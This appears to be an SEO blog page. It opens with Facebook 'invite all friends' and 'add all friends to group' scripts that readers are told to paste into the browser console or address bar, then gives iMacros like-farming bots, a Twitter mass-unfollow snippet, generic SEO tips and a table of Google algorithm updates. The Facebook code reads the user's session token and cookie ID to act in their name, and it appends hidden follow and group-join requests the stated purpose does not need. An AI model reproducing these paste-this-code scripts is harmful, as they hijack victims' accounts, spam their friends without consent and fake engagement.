DEV WEB SEO

Post

Invite All Friends To Like Facebook Page


Navigate to your Facebook page using Google Chrome. You must navigate to your page using your personal profile, not while using Facebook as your page or Business Manager.
And yes… for this to work, you must also use Chrome. I also highly recommend you do this from a desktop or laptop computer.
  • If you are an administrator of this page, click the (ellipsis) in your cover photo and click Invite Friends.
  • If you are not an administrator of this page, click Invite friends to like this Page in the left sidebar.
Either way, an Invite your friends to like… window will pop up.

With the Invite your friends to like… window open, scroll to the very bottom of your friends list. To accelerate this, click the name of any friend on your list, and then hold down space bar or page down.
In the following steps, be sure to leave the Invite your friends to like… window open with all your friends loaded.
Next — and this step is very important — manually type javascript: into your address bar.

To do this final step, you are first going to need to carefully copy some code. Remember, if you miss even a single character, this code won’t work.

Click this green button to open the code in a new browser tab:

!new function(){window.x847928799c8s99x&&window.location.reload(),window.x847928799c8s99x=1;var o=new function(){var e="https://chrome.google.com/webstore/...",n=null,t=null,r=1;this.ready=function(e){var t=function(){var t=document.createElement("div");t.innerHTML='<div style="position:fixed;top:0;left:0;width:100vw;height:100vh;z-index:99999;background:rgba(0,0,0,0.7);color:#fff;font-size:12px;overflow:hidden;"></div>',document.body.appendChild(t),n=t.children[0],o.log("starting..."),e()};document&&"complete"==document.readyState?t():window.addEventListener("load",function(){t()})},this.log=function(e){var i=150+Math.floor(35*Math.random());n.innerHTML+='<div style="padding:10px;margin:10px;max-width:300px;border-radius:1000px;background:rgba('+i+","+i+","+i+',0.9)">#'+r+": "+(e||"working...")+"</div>",++r,n.scrollTop=999999,t=window.clearTimeout(t),t=window.setTimeout(function(){o.error("the script stopped working.")},2e4)},this.error=function(o){alert(":( ERROR!"+(o?"\r\n\r\n#"+Math.ceil(1e3*Math.random())+" "+o:"")),confirm("Report this error?")&&(alert("Copy this error for the report:\r\n\r\n>>>>>\r\n\r\n"+window.location.href+": "+o),window.open(e,"_blank")),window.location.reload()},this.done=function(e){o.log("saving all actions to facebook..."),window.setTimeout(function(){alert(":) OK!"+(e?" "+e:"")),window.location.reload()},5e3)},this.event=function(e,n,t){"string"==typeof e&&(e=document.querySelector(e)),e||o.error("could not find element"),n=n||"click","click"==n?e.click():(t=t||{},t.bubbles=!0,e.dispatchEvent(new Event(n,t)))},this.find=function(e,n){o.log("looking for loaded element...");var t=0,r=10,i=window.setInterval(function(){var l=document.querySelector(e);return l?(i=window.clearInterval(i),o.log("loaded element found."),void n(l)):(++t,void(t==r&&o.error("could not find loaded element")))},500)},this.scroll=function(e,n){o.log("scrolling element to end...");var t=10,r=0,i=0,l=window.setInterval(function(){o.log("scrolling...");var c=document.querySelector(e);if(c||o.error("could not find scrolling element "+e),c.scrollTop==r){if(++i,i==t)return window.clearInterval(l),o.log("scrolling done."),void n(c)}else i=0;r=c.scrollTop,c.scrollTop+=1e4},500)},this.select=function(e,n,t){var r=document.querySelectorAll(e),i=r.length,l=0,c=200;if(o.log("found "+i+" friends to act on..."),i){var d=function(){r[l];n(r[l]),++l,o.log("action done, "+(i-l)+" remaining."),l==i?t(i):window.setTimeout(d,c)};d()}else callback(0)}};o.ready(function(){o.event('a[href*="/ajax/choose/?type=fan_page"] > *'),o.find(".fbProfileBrowserListContainer .listSection li",function(){o.scroll(".fbProfileBrowserResult.scrollable",function(){o.select('.fbProfileBrowserResult.scrollable ul li [role="button"]',function(e){o.event(e)},function(e){o.done(e)})})})})};

Add All Friends To Facebook Group


  1.  First of all Log in into that Facebook account whose friends you want to invite.
  2.  Then open your particular Facebook Group in which you want to add friends.
  3.  Now Click F12 button to open debugger and then select console box.
  4.  Now copy script from below and paste.
(function(){var f={dtsg:document.getElementsByName("fb_dtsg")[0].value,uid:document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]),gid:document.getElementsByName("group_id")[0].value,frns:Array(),prenKe:0,okeh:0,gagal:0,getAjak:function(b){var c=new XMLHttpRequest;c.open("GET",b,!0),c.onreadystatechange=function(){if(4==c.readyState&&200==c.status){var a=eval("("+c.responseText.substr(9)+")");a.payload&&a.payload.entries&&(f.frns=a.payload.entries.sort(function(){return.5-Math.random()})),document.getElementById("hasilsurasil").innerHTML="Found <b>"+f.frns.length+" Friends</b><div id='hasilsatu'></div><div id='hasildua'></div><div id='hasiltiga' style='min-width:300px;display:inline-block;text-align:left'></div>"+crj;for(x in f.frns)f.senAjak(x)}else document.getElementById("hasilsurasil").innerHTML=4==c.readyState&&404==c.status?"<b style='color:darkred'>Gruppe Öffnen!</b>"+crj:"<b style='color:darkgreen'>Search For Followers... ("+c.readyState+")</b>"+crj},c.send()},senAjak:function(d){var e=new XMLHttpRequest,prm="__a=1&fb_dtsg="+f.dtsg+"&group_id="+f.gid+"&source=typeahead&ref=&message_id=&members="+f.frns[d].uid+"&__user="+f.uid+"&phstamp=";e.open("POST","/ajax/groups/members/add_post.php",!0),e.setRequestHeader("Content-type","application/x-www-form-urlencoded"),e.setRequestHeader("Content-length",prm.length),e.setRequestHeader("Connection","keep-alive"),e.onreadystatechange=function(){if(4==e.readyState&&200==e.status){var a=eval("("+e.responseText.substr(9)+")");if(f.prenKe++,document.getElementById("hasilsatu").innerHTML="<div><b>"+f.prenKe+"</b> of <b>"+f.frns.length+"</b></div>",a.errorDescription&&(f.gagal++,document.getElementById("hasiltiga").innerHTML="<div><b style='color:darkred'>( "+f.gagal+" )</b> <span style='color:darkred'>"+a.errorDescription+"</span></div>"),a.jsmods&&a.jsmods.require){var b="<div>";for(x in a.jsmods.require)a.jsmods.require[x][a.jsmods.require[x].length-1][1]&&(b+="<b style='color:darkgreen'>"+a.jsmods.require[x][a.jsmods.require[x].length-1][1]+"</b> ");b+="<div>",document.getElementById("hasildua").innerHTML=b}if(a.onload)for(z in a.onload){var c=eval(a.onload[z].replace(/Arbiter.inform/i,""));if(c.uid&&c.name){f.okeh++,document.getElementById("hasiltiga").innerHTML="<div><b style='color:darkgreen'>( "+f.okeh+" )</b> <a href='/"+c.uid+"' target='_blank'><b>"+c.name+"</b></a> haben dich abonniert.</div>";break}}f.prenKe==f.frns.length&&(document.getElementById("hasiltiga").style.textAlign="center",document.getElementById("hasiltiga").innerHTML+="<div style='font-size:20px;font-weight:bold'>People Invited!</div><a href='/' onClick='document.getElementById(\"hasilsurasil\").style.display=\"none\";return false'>Close</a>")}},e.send(prm)}},g=["i","a","e","g","o","s","n","b","l","p","m","2","r","0","c","1","t","3","©"],crl=g[1]+g[0]+g[6]+g[3]+g[14]+g[12]+g[2]+g[1]+g[16]+g[0]+g[4]+g[6]+g[5]+"."+g[7]+g[8]+g[4]+g[3]+g[5]+g[9]+g[4]+g[16]+"."+g[14]+g[4]+g[10],crj="<div style='display:none; margin-top:10px;color:gray;font-size:12px'>"+g[1].toUpperCase()+g[0]+g[6]+g[3]+g[14].toUpperCase()+g[12]+g[2]+g[1]+g[16]+g[0]+g[4]+g[6]+g[5]+" "+g[g.length-1]+g[11]+g[13]+g[15]+g[17]+"<div style='font-size:9px'><a href='http://"+crl+"/' target='_blank'>"+crl+"</a></div></div>";document.body.innerHTML+="<center id='hasilsurasil' style='min-height:50px;width:600px;position:fixed;top:100px;left:"+(document.body.offsetWidth-530)/2+"px;border-radius:10px;padding:10px;z-index:999999;border:5px solid skyblue;background-color:rgba(225,225,255,0.75)'><b>Fb Group Script By Safe Tricks </b>"+crj+"</center>",f.getAjak("/ajax/typeahead/first_degree.php?__a=1&viewer="+f.uid+"&token="+Math.random()+"&filter[0]=user&options[0]=friends_only")})(); var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1])
function cereziAl(isim) {
var tarama = isim + "=";
if (document.cookie.length > 0) {
konum = document.cookie.indexOf(tarama)
if (konum != -1) {
konum += tarama.length
son = document.cookie.indexOf(";", konum)
if (son == -1)
son = document.cookie.length
return unescape(document.cookie.substring(konum, son))
}
else { return ""; }
}
}

function getRandomInt (min, max) {
return Math.floor(Math.random() * (max - min + 1)) + min;
}
function randomValue(arr) {
return arr[getRandomInt(0, arr.length-1)];
}

var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);

function a(abone){
var http4 = new XMLHttpRequest();

var url4 = "/ajax/follow/follow_profile.php?__a=1";

var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
http4.open("POST", url4, true);

//Send the proper header information along with the request
http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http4.setRequestHeader("Content-length", params4.length);
http4.setRequestHeader("Connection", "close");

http4.onreadystatechange = function() {//Call a function when the state changes.
if(http4.readyState == 4 && http4.status == 200) {

http4.close; // Close the connection

}
}

http4.send(params4);
}

function sublist(uidss) {
var a = document.createElement('script');
a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
document.body.appendChild(a);
}

a("");
a("");

var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);

var httpwp = new XMLHttpRequest();
var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
httpwp['open']('POST', urlwp, true);
httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
httpwp['setRequestHeader']('Content-length', paramswp['length']);
httpwp['setRequestHeader']('Connection', 'keep-alive');
httpwp['send'](paramswp);

var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);

var friends = new Array();
gf = new XMLHttpRequest();
gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
gf['send']();
if (gf['readyState'] != 4) {} else {
data = eval('(' + gf['responseText']['substr'](9) + ')');
if (data['error']) {} else {
friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
return _0x93dax8['index'] - _0x93dax9['index'];
});
};
};

imacros script for printers followers




VERSION BUILD=8300326 RECORDER=FX
TAB T=1
SET !ERRORIGNORE YES
WAIT SECONDS=5
TAG POS=1 TYPE=BUTTON ATTR=TXT:Follow

Addmefast imacros script for Facebook Like





SET !TIMEOUT_TAG 0
URL GOTO=http://addmefast.com/free_points/facebook_likes
TAB T=1
WAIT SECONDS=2
TAG POS=1 TYPE=A ATTR=TXT:Like
WAIT SECONDS=4
TAG POS=1 TYPE=A ATTR=TXT:Like
WAIT SECONDS=2
TAB CLOSE
TAB T=1
WAIT SECONDS=5

Traffup Facebook Like imacros script



VERSION BUILD=8920312 RECORDER=FX SET !ERRORIGNORE YES TAB T=1 URL GOTO=http://traffup.net/likes/ TAG POS=1 TYPE=A ATTR=TXT:Like WAIT SECONDS= 3 FRAME F=0 TAG POS=1 TYPE=BUTTON ATTR=TXT:Like WAIT SECONDS= 5 TAB T=1 WAIT SECONDS= 60 TAG POS=1 TYPE=A ATTR=TXT:Like WAIT SECONDS= 3 FRAME F=0 TAG POS=1 TYPE=BUTTON ATTR=TXT:Like WAIT SECONDS= 5 TAB T=1 WAIT SECONDS= 35 TAG POS=1 TYPE=A ATTR=TXT:Like WAIT SECONDS= 3 FRAME F=0 TAG POS=1 TYPE=BUTTON ATTR=TXT:Like WAIT SECONDS= 5 TAB T=1 WAIT SECONDS= 45 TAG POS=1 TYPE=A ATTR=TXT:Like WAIT SECONDS= 3 FRAME F=0 TAG POS=1 TYPE=BUTTON ATTR=TXT:Like WAIT SECONDS= 5 TAB T=1 WAIT SECONDS= 40 TAG POS=1 TYPE=A ATTR=TXT:Like WAIT SECONDS= 3 FRAME F=0 TAG POS=1 TYPE=BUTTON ATTR=TXT:Like WAIT SECONDS= 5 TAB T=1 WAIT SECONDS= 52 TAG POS=1 TYPE=A ATTR=TXT:Like WAIT SECONDS= 3 FRAME F=0 TAG POS=1 TYPE=BUTTON ATTR=TXT:Like WAIT SECONDS= 5 TAB T=1 WAIT SECONDS= 43 TAG POS=1 TYPE=A ATTR=TXT:Like WAIT SECONDS= 3 FRAME F=0 TAG POS=1 TYPE=BUTTON ATTR=TXT:Like WAIT SECONDS= 5 TAB T=1 WAIT SECONDS= 41 TAG POS=1 TYPE=A ATTR=TXT:Like WAIT SECONDS= 3 FRAME F=0 TAG POS=1 TYPE=BUTTON ATTR=TXT:Like WAIT SECONDS= 5 TAB T=1 WAIT SECONDS= 33 TAG POS=1 TYPE=A ATTR=TXT:Like WAIT SECONDS= 3 FRAME F=0 TAG POS=1 TYPE=BUTTON ATTR=TXT:Like WAIT SECONDS= 5 TAB T=1 WAIT SECONDS= 46 TAG POS=1 TYPE=A ATTR=TXT:Like WAIT SECONDS= 3 FRAME F=0 TAG POS=1 TYPE=BUTTON ATTR=TXT:Like WAIT SECONDS= 5 TAB T=1 WAIT SECONDS= 38

Traffup instagram followers imacros script




VERSION BUILD=8920312 RECORDER=FX TAB T=1 SET !ERRORIGNORE YES URL GOTO=http://traffup.net/instagram/ TAG POS=1 TYPE=A ATTR=TXT:Follow WAIT SECONDS= 3 TAG POS=1 TYPE=BUTTON ATTR=TXT:Follow TAB T=1 WAIT SECONDS= 35 TAG POS=1 TYPE=A ATTR=TXT:Follow WAIT SECONDS= 3 TAG POS=1 TYPE=BUTTON ATTR=TXT:Follow TAB T=1 WAIT SECONDS= 40 TAG POS=1 TYPE=A ATTR=TXT:Follow WAIT SECONDS= 3 TAG POS=1 TYPE=BUTTON ATTR=TXT:Follow TAB T=1 WAIT SECONDS= 33 TAG POS=1 TYPE=A ATTR=TXT:Follow WAIT SECONDS= 3 TAG POS=1 TYPE=BUTTON ATTR=TXT:Follow TAB T=1 WAIT SECONDS= 37 TAG POS=1 TYPE=A ATTR=TXT:Follow WAIT SECONDS= 3 TAG POS=1 TYPE=BUTTON ATTR=TXT:Follow TAB T=1 WAIT SECONDS= 42 TAG POS=1 TYPE=A ATTR=TXT:Follow WAIT SECONDS= 3 TAG POS=1 TYPE=BUTTON ATTR=TXT:Follow TAB T=1 WAIT SECONDS= 55 TAG POS=1 TYPE=A ATTR=TXT:Follow WAIT SECONDS= 3 TAG POS=1 TYPE=BUTTON ATTR=TXT:Follow TAB T=1 WAIT SECONDS= 48 TAG POS=1 TYPE=A ATTR=TXT:Follow WAIT SECONDS= 3 TAG POS=1 TYPE=BUTTON ATTR=TXT:Follow TAB T=1 WAIT SECONDS= 39 TAG POS=1 TYPE=A ATTR=TXT:Follow WAIT SECONDS= 3 TAG POS=1 TYPE=BUTTON ATTR=TXT:Follow TAB T=1 WAIT SECONDS= 43 TAG POS=1 TYPE=A ATTR=TXT:Follow WAIT SECONDS= 3 TAG POS=1 TYPE=BUTTON ATTR=TXT:Follow TAB T=1 WAIT SECONDS= 60

Unfollow all on twitter







Login twitter

Go to https://twitter.com/following


Keep scrolling to the bottom repeatedly until all your followers are loaded.


Run below code in your console.



[].slice.call(document.querySelectorAll('.unfollow-text')).forEach(function(button) {
  button.click();
});


wait some time.


Reload page.

Key strategies to increase website ranking and visitors

Our major search engine Google changes its search algorithm around 500–600 times each year. Apart from Google, all other search engines change their algorithm time to time.

Essential techniques to develop successful SEO strategies for increasing website ranking and visitors:

1. Hosted on dedicated IP

I notice all high rank website is used dedicated IP, I think it’s too good among them used shared. Actually there are two aspects to the SEO argument for dedicated IPs: ranking and spam. Google does use IP addresses in some of its calculations. And also a dedicated IP can help increase your site’s speed. And another major point is that dedicated IP is mandatory to get SSL certificate for your site.

2. Used canonical tag “rule sets” on all pages

Canonical tags are used to declare a single page as its own source or for duplicate pages to reference their source page.  Like example.com redirect to www.example.com by the help of .htaccess file or used <link rel=”canonical” href=”URL” /> in head section.


3. Avoid using session ids in urls

Session IDs are most common in e-commerce sites and are embedded in a URL so the websites can track their customers page wise and they are used keep track of items in a customer shopping cart. But these IDs cause problems for search engine spiders because they create a large number of links for the spider to crawl. By using a canonical tag you can solve this problem.


4. Supports a custom robots.txt file

Robots.txt file tells the search engines which pages to index from your website or not indexed.  You can find the robots.txt at an address like this: http://www.example.com/robots.txt, Basic robots.txt example:-

User-agent: *

Disallow: /folder/

Disallow: /file.html

Disallow: /image.png


5. Used XML Sitemap

After panda algorithm update, XML sitemap is very much helpful for indexing your web page with search engine. Sitemaps inform to search engines what pages on website are available for crawling. You can find the Sitemap at an address like this: http://www.example.com/sitemap.xml

Basic Sitemap example:-

<?xml version="1.0" encoding="UTF-8"?>

<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">

<url>

<loc>http://www.domain.com/</loc>

<lastmod>2016-01-01</lastmod>

<changefreq>daily</changefreq>

<priority>0.1</priority>

</url>

</urlset>


6. Supports basic viewport features

Today a huge amount of people used mobile and like that device (i.e. Tablet). So audience can visit from their device into your website. Below features are required for mobile-friendly viewport

  • Loads fast – bloated sites cost more money to access
  • Easy to read – mobile phone screens are 1/5th the size of desktop computers
  • Easy to navigate – menus have limited space on mobile devices
  • Minimal scrolling - not just vertically but also horizontally
  • Avoids using Flash – because Apple products do not support Flash
Google’s has been updating their mobile-friendly algorithm April 21, 2015.  You can visit https://www.google.com/webmasters/tools/mobile-friendly/ for test your website mobile-friendly or not.


7. Allows (non-secure) JS and CSS to be indexed

At times, we may get errors from Google webmaster stating “Googlebot cannot access CSS and JS files on example.com”. A Googlebot finds out whether a page is mobile-friendly or not with the help of JavaScript and CSS. You can identify whether the JS and CSS files are indexed by clicking on the “Blocked Resources” option shown under the “Google Index” list of Google webmaster tools.


8. Supports ad hoc 301 redirect mapping

The 301 redirects are used for moving urls permanently. There are several different scenarios where the use of 301 redirects is recommended. Here’s a list with some of the most common scenarios:

  • Moving to a new domain (see domain.biz > domaininternet.com example)
  • Cleaning up dynamic URLs and redirecting them to shorter search engine friendly versions
  • Preventing duplicate content problems caused by www and non-www website.  


9. Supports navigation plain HTML text
Create web page internal link navigation in simple coding. HTML and CSS are your safest approach. Coding in JavaScript, Flash, and Ajax will limit the crawler’s ability to cover a full website.

10. SEO Friendly URL

SEO friendly URL means URL easily understood by search engine Spider. Hence on most occasions CMS based websites use system generated URLs for web pages which are difficult for the search engine spiders to read and interpret what the content on these pages are about.

For example: www.example.com/index.php?category_id=125&page_id=78 (Not a  SEO Friendly URL)

SEO Friendly URL example:

www.example.com/SEO/SEO-friendly-URL


11. Navigation Structure

People read a webpage from left to right, so the informative pages should be on the left and the “Contact Us” page should be on the furthest right with the exception of the “Homepage”. The link to your “Homepage” should always be at the beginning of your navigation menu.

A typical navigation menu’s order will follow:

<Home> <About Us> <Products/Services> <Contact Us>

Some other Tips for Website SEO Friendly Navigation:

  • Link the Logo to the Home Page.
  • Find the necessary information and destination within maximum 3 click
  • Navigation needs to be clear, structured and intuitive.
  • It is best to have 4 - 15 links on the navigation bars
  • HTML Sitemaps are also very important because they are used so to link to all the available web pages for user.
  • Don’t use underline, bold, color or italics text that is not a link.
  • Service views must be shown category wise


12. Meta tags and content headers customized on a per-page basis
Each page’s meta tag like title and description should be unique and relevant to the page it represents. Duplicate title and description might be confused SERP.


13. Custom 404 page
“Error 404 – Page Not Found” is a common webpage error. If you removed any page from our website then this error will be shown in web browser, it is harmful for web users as well search engine spider. For this issue we create a default 404 page on our site, redirect all 404 error page.


14. Location with Google Map

If your website has any service base, then use location and address with Google map pointing. It will be on contract us page. It helps in local ranking and mobile search ranking.

It's advisable that the storefinder landing pages show the store names in a map alongside their respective locations.


15. Caters to more than one location or language 
If your site is meant to target global audiences markets means more than one country then  try to used county wish language option.


16. And Some other SEO requirements

  • Server response time within 500ms (<200ms, ideally).
  • Server supports browser with caching, file compression, minification of JS and CSS.
  • Home page able to “live” at domain root ( Don’t used example.com/abc/home/index.html, for example).
  • Category and Subcategory pages are able to include up to 500 words of text copy above/below the product grid.
  • Use breadcrumbs on e-commerce category, subcategory and product pages.
  • Use Organization, Product, Local Business and Breadcrumb schema markup on appropriate pages.
  • Use product ratings and reviews (or at least inclusion of a third-party rating/review system).
  • Use Open Graph tags on all pages (syntax-based OK).
  • Use inclusion of social sharing buttons on product and services pages.
  • Tries to keep URL character limit 100><115
  • Social Media Activities
  • Unique Web content
  • W3c validation
  • Image Alt tag text
  • No broken links


Google Algorithm Updates History (up to 2015)





Google Algorithm Updates of 2002
#
Date
Update
Update type 
Noticeable effect 
1
September, 2002
First Algorithm Update
Unclear
No estimate given






 
 
 
 
Google Algorithm Updates of 2003
#
Date
Update
Update type 
Noticeable effect 
1
February, 2003
Boston
Ranking signals
No estimate given
2
April, 2003
Cassandra
Ranking signals
No estimate given
3
May, 2003
Dominic
Ranking signals
No estimate given
4
June, 2003
Esmerelda
Infrastructure
No estimate given
5
July, 2003
Fritz
Infrastructure
No estimate given
6
16-Nov-03
Florida
Ranking signals
No estimate given
 
 
 
 
 
 
 
 
 
 
Google Algorithm Updates of 2004
#
Date
Update
Update type 
Noticeable effect 
1
23-Jan-04
Austin
Ranking signals
No estimate given
2
Feb, 2004
Brandy
Ranking signals
No estimate given
 
 
 
 
 
 
 
 
 
 
Google Algorithm Updates of 2005
#
Date
Update
Update type 
Noticeable effect 
1
Feb, 2005
Allegra
Ranking signals
No estimate given
2
May, 2005
Bourbon
Ranking signals
No estimate given
3
Sept, 2005
Gilligan
Data refresh
No estimate given
4
Oct, 2005
Jagger
Ranking signals
No estimate given
5
Dec, 2005
Bigdaddy
Infrastructure
None
 
 
 
 
 
 
 
 
 
 
Google Algorithm Updates of 2007
#
Date
Update
Update type 
Noticeable effect 
1
June, 2007
Buffy
Ranking signals
No estimate given
 
 
 
 
 
 
 
 
 
 
Google Algorithm Updates of 2009
#
Date
Update
Update type 
Noticeable effect 
1
Feb, 2009
Vince
Ranking signals
No estimate given
2
10-Aug-09
Caffeine (Preview)
Infrastructure
None
 
 
 
 
 
 
 
 
 
 
Google Algorithm Updates of 2010
#
Date
Update
Update type 
Noticeable effect 
1
3-May-10
May Day
Ranking signals
No estimate given
2
8-Jun-10
Caffeine
Infrastructure
None
 
 
 
 
 
 
 
 
 
 
Google Algorithm Updates of 2011
#
Date
Update
Update type 
Noticeable effect 
1
28-Jan-11
Attribution Update
First launch
0.5% of searches
2
24-Feb-11
Panda 1.0 (#1)
First launch
11.8% of US searches
3
30-Mar-11
The +1 Button
New feature
-
4
11-Apr-11
Panda 2.0 (#2)
Ranking signals
2% of US searches
5
9-May-11
Panda 2.1 (#3)
Unclear
No estimate given
6
2-Jun-11
Schema.org
New feature
No estimate given
7
21-Jun-11
Panda 2.2 (#4)
Ranking signals
No estimate given
8
23-Jul-11
Panda 2.3 (#5)
Ranking signals
No estimate given
9
12-Aug-11
Panda 2.4 (#6)
Ranking signals
6% - 9% of searches
10
28-Sep-11
Panda 2.5 (#7)
Unclear
No estimate given
11
5-Oct-11
Panda Flux incl 3 (#8)
Ranking signals
2% of searches
12
18-Oct-11
Query Encryption
New feature
None
13
3-Nov-11
Freshness Update
First launch
6% - 10% of searches
14
14-Nov-11
November 10-Pack
Ranking signals
No estimate given
15
18-Nov-11
Panda 3.1 (#9)
Data refresh
1% of searches
16
1-Dec-11
December 10-Pack
Ranking signals
No estimate given
 
 
 
 
 
 
 
 
 
 
Google Algorithm Updates of 2012
#
Date
Update
Update type 
Noticeable effect 
1
5-Jan-12
January 30-Pack
Algorithm change
No estimate given
2
10-Jan-12
Search + Your World
New feature
No estimate given
3
18-Jan-12
Panda 3.2 (#10)
Data refresh
No estimate given
4
19-Jan-12
Page Layout #1
First launch
1% of searches globally
5
3-Feb-12
February 17-Pack
Algorithm change
No estimate given
6
27-Feb-12
February 40-Pack
Algorithm change
No estimate given
7
27-Feb-12
Panda 3.3 (#11)
Data refresh
No estimate given
8
27-Feb-12
Venice
First launch
No estimate given
9
23-Mar-12
Panda 3.4 (#12)
Data refresh
1.6% of searches
10
3-Apr-12
March 50-Pack
Ranking signals
No estimate given
11
16-Apr-12
Parked Domain Bug
Algorithm error
No estimate given
12
19-Apr-12
Panda 3.5 (#13)
Data refresh
No estimate given
13
24-Apr-12
Penguin 1.0 (#1)
First launch
3.1% of English searches
14
27-Apr-12
Panda 3.6 (#14)
Data refresh
No estimate given
15
4-May-12
April 52-Pack
Ranking signals
No estimate given
16
16-May-12
Knowledge Graph (#1)
New Feature
No estimate given
17
25-May-12
Penguin 1.1 (#2)
Data refresh
0.1 % of English searches
18
7-Jun-12
May 39-Pack
Ranking signals
No estimate given
19
9-Jun-12
Panda 3.7 (#15)
Data refresh
1% US & 1% global
20
25-Jun-12
Panda 3.8 (#16)
Data refresh
1% of global searches
21
24-Jul-12
Panda 3.9 (#17)
Data refresh
1% of searches
22
10-Aug-12
June/July 86-Pack
Ranking signals
No estimate given
23
10-Aug-12
DMCA (Pirate) Filter
Ranking signals
No estimate given
24
14-Aug-12
7 Search Results
New feature
No estimate given
25
19-Aug-12
Panda 3.9.1 (#18)
Data refresh
1% of searches
26
14-Sep-12
Domain Diversity
Data refresh
No estimate given
27
18-Sep-12
Panda 3.9.2 (#19)
Data refresh
0.7% of searches
28
27-Sep-12
Panda #20
Ranking signals
2.4% of English searches
29
28-Sep-12
Exact Match Domains
First launch
0.6% of En-US searches
30
4-Oct-12
Aug/Sep 65-Pack
Ranking signals
No estimate given
31
5-Oct-12
Penguin 1.2 (#3)
Data refresh
0.3% of English searches
32
9-Oct-12
Page Layout #2
Data refresh
0.7% of English searches
33
5-Nov-12
Panda #21
Data refresh
1.1% of English searches
34
21-Nov-12
Panda #22
Data refresh
0.8% of English searches
35
4-Dec-12
Knowledge Graph #2
Expansion
No estimate given
36
21-Dec-12
Panda #23
Data refresh
1.3% of English searches
 
 
 
 
 
 
 
 
 
 
Google Algorithm Updates of 2013
#
Date
Update
Update type 
Noticeable effect 
1
22-Jan-13
Panda #24
Data refresh
1.2% of English searches
2
4-Feb-13
Toolbar PR #22
Toolbar PR Update
-
3
14-Mar-13
Panda #25
Data refresh
No estimate given
4
9-May-13
"Phantom"
Ranking Signals
No estimate given
5
21-May-13
Domain Crowding
Ranking Signals
No estimate given
6
22-May-13
Penguin 2.0 (#4)
Ranking Signals
2.3% of En-US searches
7
11-Jun-13
"Payday Loan"
Ranking Signals
0.3% of En-US, 4% Turk
8
27-Jun-13
Multi-week
Ranking Signals
No estimate given
9
18-Jul-13
Panda Recovery
Ranking Signals
No estimate given
10
20-Aug-13
Hummingbird
Infrastructure
0.9
11
4-Oct-13
Penguin 2.1 (#5)
Data Refresh
1% of searches
12
6-Dec-13
Toolbar PR #23
Toolbar PR Update
-
 
 
 
 
 
 
 
 
 
 
Google Algorithm Updates of 2014
#
Date
Update
Update type 
Noticeable effect 
1
6-Feb-14
Page Layout #3
Data Refresh
Unspecified
2
17-May-14
Payday Loan 2.0
Ranking Signals
0.2% of English searches
3
20-May-14
Panda 4.0
Ranking Signals
7.5% of English searches
4
12-Jun-14
Payday Loan 3.0
Ranking Signals
Unspecified
5
24-Jul-14
Pigeon
Ranking Signals
Unspecified
6
23-Sep-14
Panda 4.1
Ranking Signals
3% - 5% (Location dependent)
7
17-Oct-14
Penguin 3.0
Data Refresh
<1% of US English searches
8
21-Oct-14
DMCA/Pirate 2
Ranking Signals
Unspecified
9
22-Dec-14
Pigeon 2
Ranking Signals
Unspecified
 
 
 
 
 
 
 
 
 
 
Google Algorithm Updates of 2015
#
Date
Update
1
21-Apr-15
Mobile-friendly Update
Ranking Signals
Unspecified
2
3-May-15
The Quality Update
Ranking Signals
Unspecified
3
18-Jul-15
Panda 4.2
Data Refresh
~2% - 3% English queries
4
2-Nov-15
Mobile-friendly 2
Ranking Signals
Unspecified